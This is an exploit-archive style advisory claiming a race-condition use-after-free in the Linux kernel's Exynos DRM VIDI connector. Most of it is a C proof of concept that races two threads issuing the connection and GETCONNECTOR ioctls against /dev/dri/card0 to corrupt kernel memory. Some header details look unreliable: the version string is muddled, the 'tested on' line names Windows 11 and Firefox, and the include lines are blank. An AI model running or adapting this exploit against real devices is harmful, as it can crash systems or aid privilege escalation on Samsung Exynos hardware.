============================================================================================================================================= | # Title : Linux Kernel 5.x 6.0 6.18.10 Race Condition in Exynos DRM VIDI Connector Leading to Potential Use-After-Free | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : System built‑in component | ============================================================================================================================================= [+] Summary : A race condition vulnerability may exist in the Exynos DRM VIDI connector implementation within the Linux kernel. The issue arises due to improper synchronization between connection management (DRM_IOCTL_EXYNOS_VIDI_CONNECTION) and connector query operations (DRM_IOCTL_MODE_GETCONNECTOR). When one thread repeatedly triggers connection and disconnection events—causing allocation and deallocation of EDID-related resources—while another thread concurrently queries connector modes, insufficient locking or reference counting may result in a Use-After-Free (UAF) condition. If successfully triggered, this condition could lead to: Kernel memory corruption System crash (kernel panic) Potential privilege escalation (depending on memory reuse conditions) The issue affects systems using the Exynos DRM driver, commonly found in devices powered by chipsets from Samsung Electronics. Proper mitigation requires strict synchronization, reference counting validation, and safe handling of dynamically allocated connector resources within the DRM subsystem. [+] POC : #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include struct drm_exynos_vidi_connection { __u32 connection; __u32 extensions; __u64 edid; }; #define DRM_IOCTL_EXYNOS_VIDI_CONNECTION \ DRM_IOWR(DRM_COMMAND_BASE + 0x47, struct drm_exynos_vidi_connection) int fd; uint32_t connector_id = 0; void find_vidi_connector() { struct drm_mode_card_res res = {0}; if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) return; uint32_t *conn_ptr = malloc(res.count_connectors * sizeof(uint32_t)); res.connector_id_ptr = (uintptr_t)conn_ptr; ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res); for (int i = 0; i < res.count_connectors; i++) { struct drm_mode_get_connector conn = {0}; conn.connector_id = conn_ptr[i]; ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &conn); connector_id = conn.connector_id; break; } free(conn_ptr); } void* trigger_uaf_thread(void* arg) { struct drm_exynos_vidi_connection conn; char fake_edid[128]; memset(fake_edid, 0x41, sizeof(fake_edid)); while(1) { conn.connection = 1; conn.edid = (uintptr_t)fake_edid; ioctl(fd, DRM_IOCTL_EXYNOS_VIDI_CONNECTION, &conn); conn.connection = 0; ioctl(fd, DRM_IOCTL_EXYNOS_VIDI_CONNECTION, &conn); } return NULL; } void* access_uaf_thread(void* arg) { struct drm_mode_get_connector get_conn = {0}; get_conn.connector_id = connector_id; while(1) { ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &get_conn); } return NULL; } int main(int argc, char *argv[]) { char *device = (argc > 1) ? argv[1] : "/dev/dri/card0"; fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open DRM device"); return 1; } find_vidi_connector(); if (connector_id == 0) { printf("[-] Could not find a valid connector_id\n"); return 1; } printf("[+] Target Connector ID: %d\n", connector_id); printf("[+] Starting Race Condition threads...\n"); pthread_t t1, t2; pthread_create(&t1, NULL, trigger_uaf_thread, NULL); pthread_create(&t2, NULL, access_uaf_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================